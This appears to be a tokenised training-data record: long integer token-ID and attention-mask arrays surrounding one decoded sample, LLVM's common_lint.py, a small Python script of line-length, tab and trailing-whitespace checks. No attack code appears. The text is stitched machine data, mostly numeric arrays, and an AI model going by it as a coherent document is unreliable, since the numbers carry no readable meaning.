423, 5750, 14, 1014, 63, 1000, 14, 6417, 3466, 360, 7731, 63, 1201, 14, 1360, 1333, 272, 291, 423, 2902, 14, 21433, 5564, 17960, 2223, 1378, 3655, 14175, 342, 272, 7148, 63, 6884, 275, 291, 423, 2902, 14, 25002, 21986, 360, 3806, 14, 1782, 14383, 13971, 12208, 413, 358, 339, 327, 3254, 8, 2470, 74, 4548, 304, 428, 3614, 367, 282, 4546, 370, 7055, 699, 10134, 499, 2259, 14681, 14, 272, 900, 14, 4532, 8, 16, 14, 21, 9, 272, 27981, 275, 291, 423, 2902, 14, 9616, 2782, 8, 21, 9, 272, 702, 27981, 272, 27981, 14, 1002, 14383, 4117, 8, 16, 627, 7148, 63, 6884, 12, 378, 627, 7148, 63, 6884, 680, 9699, 1831, 12067, 8, 267, 378, 12, 5450, 12, 378, 12, 13464, 29, 18, 9, 272, 27981, 14, 1002, 14383, 4117, 8, 2192, 627, 7148, 63, 6884, 12, 7105, 627, 7148, 63, 6884, 680, 9699, 1831, 12067, 8, 267, 378, 12, 5450, 12, 378, 12, 13464, 29, 18, 9, 272, 27981, 14, 1002, 14383, 4117, 8, 708, 627, 7148, 63, 6884, 12, 4337, 627, 7148, 63, 6884, 680, 9699, 1831, 12067, 8, 267, 5450, 12, 5450, 12, 5450, 12, 13464, 29, 18, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 67, 9, 6029, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 646, 2050, 199, 646, 747, 199, 646, 900, 199, 199, 504, 17298, 14, 1018, 492, 4884, 199, 504, 17298, 14, 1018, 492, 4967, 199, 504, 17298, 14, 2796, 492, 5174, 63, 396, 63, 2546, 421, 199, 318, 485, 1831, 5564, 14917, 8, 2902, 304, 523, 1174, 275, 5174, 14, 25002, 21986, 360, 3554, 14, 12554, 24735, 2223, 358, 523, 327, 3254, 8, 3583, 85, 304, 5852, 1380, 2467, 1266, 14, 957, 15, 10642, 13440, 365, 6317, 14, 523, 5174, 14, 16761, 342, 523, 372, 1174, 508, 283, 6604, 7, 421, 199, 533, 23159, 774, 8, 2902, 63, 396, 63, 2546, 14, 7690, 1746, 304, 523, 347, 511, 31914, 3325, 7536, 1378, 1858, 14175, 2223, 8, 277, 304, 272, 2882, 63, 576, 63, 694, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 3660, 19155, 19155, 283, 2796, 63, 576, 358, 272, 291, 423, 5750, 14, 1084, 14938, 13752, 8, 2796, 63, 576, 63, 694, 9, 272, 291, 423, 2902, 14, 31914, 8, 277, 423, 5750, 14, 1014, 63, 1000, 14, 6417, 3466, 360, 2500, 14, 1360, 1333, 272, 291, 423, 2902, 14, 21433, 5564, 17960, 2223, 1378, 3655, 14175, 342, 819, 347, 511, 31914, 3325, 7536, 1378, 1858, 23879, 2223, 8, 277, 304, 272, 2882, 63, 576, 63, 694, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 3660, 19155, 19155, 283, 2796, 63, 576, 358, 272, 291, 423, 5750, 14, 1084, 14938, 13752, 8, 2796, 63, 576, 63, 694, 9, 272, 291, 423, 2902, 14, 31914, 8, 277, 423, 5750, 14, 1014, 63, 1000, 14, 6417, 3466, 360, 2500, 14, 1360, 1333, 272, 291, 423, 2902, 14, 21433, 5564, 17960, 2223, 1378, 3655, 23879, 2844, 24472, 351, 342, 819, 347, 511, 7690, 11930, 1831, 9121, 11930, 8, 277, 304, 272, 291, 14, 2947, 8, 277, 423, 2902, 14, 5750, 12, 291, 423, 5750, 9, 819, 347, 511, 11355, 17345, 1119, 8, 277, 304, 272, 291, 14, 1855, 8, 3924, 14, 7690, 17345, 1119, 1726, 12, 1993, 2400, 26, 291, 423, 2902, 14, 31914, 360, 9887, 921, 14807, 297, 1740, 2653, 29, 21, 430, 819, 347, 511, 30120, 7690, 8, 277, 304, 272, 340, 440, 291, 423, 5750, 14, 9823, 63, 2902, 63, 2785, 26, 489, 2050, 14, 3764, 360, 11930, 1630, 440, 2291, 5174, 3304, 12, 16068, 511, 2659, 489, 372, 339, 291, 14, 1815, 1547, 1831, 5564, 14917, 8, 277, 423, 2902, 430, 272, 892, 63, 2902, 275, 291, 423, 5750, 14, 8741, 14, 4665, 342, 272, 4884, 14, 21433, 8, 2734, 26, 485, 1831, 5564, 14917, 8, 1222, 63, 2902, 395, 2653, 29, 21, 9, 272, 291, 14, 3334, 1547, 1831, 5564, 14917, 8, 277, 423, 2902, 430, 272, 291, 423, 2902, 14, 30120, 342, 272, 4884, 14, 21433, 8, 2734, 26, 485, 1831, 5564, 14917, 8, 277, 423, 2902, 395, 2653, 29, 21, 9, 272, 291, 14, 3334, 1547, 1831, 5564, 14917, 8, 1222, 63, 2902, 430, 421, 199, 533, 598, 3165, 7690, 774, 8, 2902, 63, 396, 63, 2546, 14, 7690, 1746, 304, 523, 347, 3613, 8, 277, 304, 272, 291, 423, 2911, 63, 5750, 63, 589, 275, 14574, 4296, 13, 6477, 13, 11861, 316, 418, 272, 1613, 8, 39, 3165, 7690, 774, 12, 291, 680, 5996, 342, 819, 347, 511, 9616, 2782, 8, 277, 304, 272, 340, 440, 291, 423, 2902, 14, 23269, 63, 4946, 26, 489, 2050, 14, 3764, 360, 11930, 1630, 440, 2291, 27981, 83, 12, 16068, 511, 2659, 489, 372, 339, 2882, 63, 576, 63, 694, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 3660, 19155, 19155, 283, 2796, 63, 576, 358, 272, 291, 423, 5750, 14, 1084, 14938, 13752, 8, 2796, 63, 576, 63, 694, 9, 272, 291, 423, 2902, 14, 31914, 8, 489, 291, 423, 5750, 14, 1014, 63, 1000, 14, 6417, 3466, 360, 7731, 63, 1201, 14, 1360, 1333, 272, 291, 423, 2902, 14, 21433, 5564, 17960, 2223, 1378, 3655, 14175, 342, 272, 7148, 63, 6884, 275, 291, 423, 2902, 14, 25002, 21986, 360, 3806, 14, 1782, 14383, 13971, 12208, 413, 358, 339, 327, 3254, 8, 2470, 74, 4548, 304, 428, 3614, 367, 282, 4546, 370, 7055, 699, 10134, 499, 2259, 14681, 14, 272, 900, 14, 4532, 8, 16, 14, 21, 9, 272, 27981, 275, 291, 423, 2902, 14, 9616, 2782, 8, 21, 9, 272, 702, 27981, 272, 27981, 14, 1002, 14383, 4117, 8, 16, 627, 7148, 63, 6884, 12, 378, 627, 7148, 63, 6884, 680, 9699, 1831, 12067, 8, 267, 378, 12, 5450, 12, 378, 12, 13464, 29, 18, 9, 272, 27981, 14, 1002, 14383, 4117, 8, 2192, 627, 7148, 63, 6884, 12, 7105, 627, 7148, 63, 6884, 680, 9699, 1831, 12067, 8, 267, 378, 12, 5450, 12, 378, 12, 13464, 29, 18, 9, 272, 27981, 14, 1002, 14383, 4117, 8, 708, 627, 7148, 63, 6884, 12, 4337, 627, 7148, 63, 6884, 680, 9699, 1831, 12067, 8, 267, 5450, 12, 5450, 12, 5450, 12, 13464, 29, 18, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
hoangt/goblin-core
llvm/3.4.2/llvm-3.4.2.src/utils/lint/common_lint.py
147
2589
#!/usr/bin/python # # Common lint functions applicable to multiple types of files. import re def VerifyLineLength(filename, lines, max_length): """Checks to make sure the file has no lines with lines exceeding the length limit. Args: filename: the file under consideration as string lines: contents of the file as string array max_length: maximum acceptable line length as number Returns: A list of tuples with format [(filename, line number, msg), ...] with any violations found. """ lint = [] line_num = 1 for line in lines: length = len(line.rstrip('\n')) if length > max_length: lint.append((filename, line_num, 'Line exceeds %d chars (%d)' % (max_length, length))) line_num += 1 return lint def VerifyTabs(filename, lines): """Checks to make sure the file has no tab characters. Args: filename: the file under consideration as string lines: contents of the file as string array Returns: A list of tuples with format [(line_number, msg), ...] with any violations found. """ lint = [] tab_re = re.compile(r'\t') line_num = 1 for line in lines: if tab_re.match(line.rstrip('\n')): lint.append((filename, line_num, 'Tab found instead of whitespace')) line_num += 1 return lint def VerifyTrailingWhitespace(filename, lines): """Checks to make sure the file has no lines with trailing whitespace. Args: filename: the file under consideration as string lines: contents of the file as string array Returns: A list of tuples with format [(filename, line number, msg), ...] with any violations found. """ lint = [] trailing_whitespace_re = re.compile(r'\s+$') line_num = 1 for line in lines: if trailing_whitespace_re.match(line.rstrip('\n')): lint.append((filename, line_num, 'Trailing whitespace')) line_num += 1 return lint class BaseLint: def RunOnFile(filename, lines): raise Exception('RunOnFile() unimplemented') def RunLintOverAllFiles(linter, filenames): """Runs linter over the contents of all files. Args: lint: subclass of BaseLint, implementing RunOnFile() filenames: list of all files whose contents will be linted Returns: A list of tuples with format [(filename, line number, msg), ...] with any violations found. """ lint = [] for filename in filenames: file = open(filename, 'r') if not file: print 'Cound not open %s' % filename continue lines = file.readlines() lint.extend(linter.RunOnFile(filename, lines)) return lint
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 13964, 24620, 3423, 3964, 370, 3663, 2943, 402, 1584, 14, 199, 199, 646, 295, 199, 199, 318, 7635, 3049, 4625, 8, 1501, 12, 2385, 12, 1390, 63, 1267, 304, 523, 408, 11834, 370, 1852, 3238, 314, 570, 965, 949, 2385, 543, 2385, 24068, 316, 314, 2582, 523, 2304, 14, 819, 3033, 26, 272, 1788, 26, 314, 570, 1334, 8219, 1754, 465, 1059, 272, 2385, 26, 4072, 402, 314, 570, 465, 1059, 1625, 272, 1390, 63, 1267, 26, 5696, 14712, 1004, 2582, 465, 1329, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 1501, 12, 1004, 1329, 12, 1499, 395, 21214, 543, 1263, 272, 1321, 22938, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 1004, 63, 1507, 275, 413, 523, 367, 1004, 315, 2385, 26, 272, 2582, 275, 822, 8, 604, 14, 6735, 2258, 78, 1333, 272, 340, 2582, 690, 1390, 63, 1267, 26, 489, 24620, 14, 740, 1332, 1501, 12, 1004, 63, 1507, 12, 673, 283, 3049, 22338, 450, 68, 8365, 4366, 68, 3171, 450, 334, 988, 63, 1267, 12, 2582, 1724, 272, 1004, 63, 1507, 847, 413, 523, 372, 24620, 199, 199, 318, 7635, 23085, 8, 1501, 12, 2385, 304, 523, 408, 11834, 370, 1852, 3238, 314, 570, 965, 949, 5174, 4110, 14, 819, 3033, 26, 272, 1788, 26, 314, 570, 1334, 8219, 1754, 465, 1059, 272, 2385, 26, 4072, 402, 314, 570, 465, 1059, 1625, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 604, 63, 1955, 12, 1499, 395, 21214, 543, 1263, 1321, 22938, 272, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 5174, 63, 264, 275, 295, 14, 2014, 8, 82, 1154, 84, 358, 523, 1004, 63, 1507, 275, 413, 523, 367, 1004, 315, 2385, 26, 272, 340, 5174, 63, 264, 14, 1431, 8, 604, 14, 6735, 2258, 78, 8109, 489, 24620, 14, 740, 1332, 1501, 12, 1004, 63, 1507, 12, 283, 7690, 1911, 3140, 402, 8139, 1333, 272, 1004, 63, 1507, 847, 413, 523, 372, 24620, 421, 199, 318, 7635, 2437, 5662, 16552, 8, 1501, 12, 2385, 304, 523, 408, 11834, 370, 1852, 3238, 314, 570, 965, 949, 2385, 543, 8520, 8139, 14, 819, 3033, 26, 272, 1788, 26, 314, 570, 1334, 8219, 1754, 465, 1059, 272, 2385, 26, 4072, 402, 314, 570, 465, 1059, 1625, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 1501, 12, 1004, 1329, 12, 1499, 395, 21214, 543, 1263, 272, 1321, 22938, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 8520, 63, 8506, 63, 264, 275, 295, 14, 2014, 8, 82, 1154, 83, 11, 9988, 523, 1004, 63, 1507, 275, 413, 523, 367, 1004, 315, 2385, 26, 272, 340, 8520, 63, 8506, 63, 264, 14, 1431, 8, 604, 14, 6735, 2258, 78, 8109, 489, 24620, 14, 740, 1332, 1501, 12, 1004, 63, 1507, 12, 283, 2437, 5662, 8139, 1333, 272, 1004, 63, 1507, 847, 413, 523, 372, 24620, 421, 199, 533, 3523, 44, 442, 26, 523, 347, 3378, 3314, 1173, 8, 1501, 12, 2385, 304, 272, 746, 2186, 360, 2540, 3314, 1173, 342, 625, 13825, 358, 421, 199, 318, 3378, 44, 442, 5674, 2422, 5535, 8, 25240, 12, 6203, 304, 523, 408, 16291, 7403, 351, 1806, 314, 4072, 402, 1006, 1584, 14, 819, 3033, 26, 272, 24620, 26, 5516, 402, 3523, 44, 442, 12, 18234, 3378, 3314, 1173, 342, 272, 6203, 26, 769, 402, 1006, 1584, 7447, 4072, 911, 506, 7403, 471, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 1501, 12, 1004, 1329, 12, 1499, 395, 21214, 543, 1263, 272, 1321, 22938, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 367, 1788, 315, 6203, 26, 272, 570, 275, 1551, 8, 1501, 12, 283, 82, 358, 272, 340, 440, 570, 26, 489, 870, 283, 967, 725, 440, 1551, 450, 83, 7, 450, 1788, 489, 1980, 272, 2385, 275, 570, 14, 9684, 342, 272, 24620, 14, 2880, 8, 25240, 14, 2540, 3314, 1173, 8, 1501, 12, 2385, 430, 819, 372, 24620, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 13964, 24620, 3423, 3964, 370, 3663, 2943, 402, 1584, 14, 199, 199, 646, 295, 199, 199, 318, 7635, 3049, 4625, 8, 1501, 12, 2385, 12, 1390, 63, 1267, 304, 523, 408, 11834, 370, 1852, 3238, 314, 570, 965, 949, 2385, 543, 2385, 24068, 316, 314, 2582, 523, 2304, 14, 819, 3033, 26, 272, 1788, 26, 314, 570, 1334, 8219, 1754, 465, 1059, 272, 2385, 26, 4072, 402, 314, 570, 465, 1059, 1625, 272, 1390, 63, 1267, 26, 5696, 14712, 1004, 2582, 465, 1329, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 1501, 12, 1004, 1329, 12, 1499, 395, 21214, 543, 1263, 272, 1321, 22938, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 1004, 63, 1507, 275, 413, 523, 367, 1004, 315, 2385, 26, 272, 2582, 275, 822, 8, 604, 14, 6735, 2258, 78, 1333, 272, 340, 2582, 690, 1390, 63, 1267, 26, 489, 24620, 14, 740, 1332, 1501, 12, 1004, 63, 1507, 12, 673, 283, 3049, 22338, 450, 68, 8365, 4366, 68, 3171, 450, 334, 988, 63, 1267, 12, 2582, 1724, 272, 1004, 63, 1507, 847, 413, 523, 372, 24620, 199, 199, 318, 7635, 23085, 8, 1501, 12, 2385, 304, 523, 408, 11834, 370, 1852, 3238, 314, 570, 965, 949, 5174, 4110, 14, 819, 3033, 26, 272, 1788, 26, 314, 570, 1334, 8219, 1754, 465, 1059, 272, 2385, 26, 4072, 402, 314, 570, 465, 1059, 1625, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 604, 63, 1955, 12, 1499, 395, 21214, 543, 1263, 1321, 22938, 272, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 5174, 63, 264, 275, 295, 14, 2014, 8, 82, 1154, 84, 358, 523, 1004, 63, 1507, 275, 413, 523, 367, 1004, 315, 2385, 26, 272, 340, 5174, 63, 264, 14, 1431, 8, 604, 14, 6735, 2258, 78, 8109, 489, 24620, 14, 740, 1332, 1501, 12, 1004, 63, 1507, 12, 283, 7690, 1911, 3140, 402, 8139, 1333, 272, 1004, 63, 1507, 847, 413, 523, 372, 24620, 421, 199, 318, 7635, 2437, 5662, 16552, 8, 1501, 12, 2385, 304, 523, 408, 11834, 370, 1852, 3238, 314, 570, 965, 949, 2385, 543, 8520, 8139, 14, 819, 3033, 26, 272, 1788, 26, 314, 570, 1334, 8219, 1754, 465, 1059, 272, 2385, 26, 4072, 402, 314, 570, 465, 1059, 1625, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 1501, 12, 1004, 1329, 12, 1499, 395, 21214, 543, 1263, 272, 1321, 22938, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 8520, 63, 8506, 63, 264, 275, 295, 14, 2014, 8, 82, 1154, 83, 11, 9988, 523, 1004, 63, 1507, 275, 413, 523, 367, 1004, 315, 2385, 26, 272, 340, 8520, 63, 8506, 63, 264, 14, 1431, 8, 604, 14, 6735, 2258, 78, 8109, 489, 24620, 14, 740, 1332, 1501, 12, 1004, 63, 1507, 12, 283, 2437, 5662, 8139, 1333, 272, 1004, 63, 1507, 847, 413, 523, 372, 24620, 421, 199, 533, 3523, 44, 442, 26, 523, 347, 3378, 3314, 1173, 8, 1501, 12, 2385, 304, 272, 746, 2186, 360, 2540, 3314, 1173, 342, 625, 13825, 358, 421, 199, 318, 3378, 44, 442, 5674, 2422, 5535, 8, 25240, 12, 6203, 304, 523, 408, 16291, 7403, 351, 1806, 314, 4072, 402, 1006, 1584, 14, 819, 3033, 26, 272, 24620, 26, 5516, 402, 3523, 44, 442, 12, 18234, 3378, 3314, 1173, 342, 272, 6203, 26, 769, 402, 1006, 1584, 7447, 4072, 911, 506, 7403, 471, 819, 1803, 26, 272, 437, 769, 402, 6346, 543, 1475, 3842, 1501, 12, 1004, 1329, 12, 1499, 395, 21214, 543, 1263, 272, 1321, 22938, 1911, 14, 523, 408, 523, 24620, 275, 942, 523, 367, 1788, 315, 6203, 26, 272, 570, 275, 1551, 8, 1501, 12, 283, 82, 358, 272, 340, 440, 570, 26, 489, 870, 283, 967, 725, 440, 1551, 450, 83, 7, 450, 1788, 489, 1980, 272, 2385, 275, 570, 14, 9684, 342, 272, 24620, 14, 2880, 8, 25240, 14, 2540, 3314, 1173, 8, 1501, 12, 2385, 430, 819, 372, 24620, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 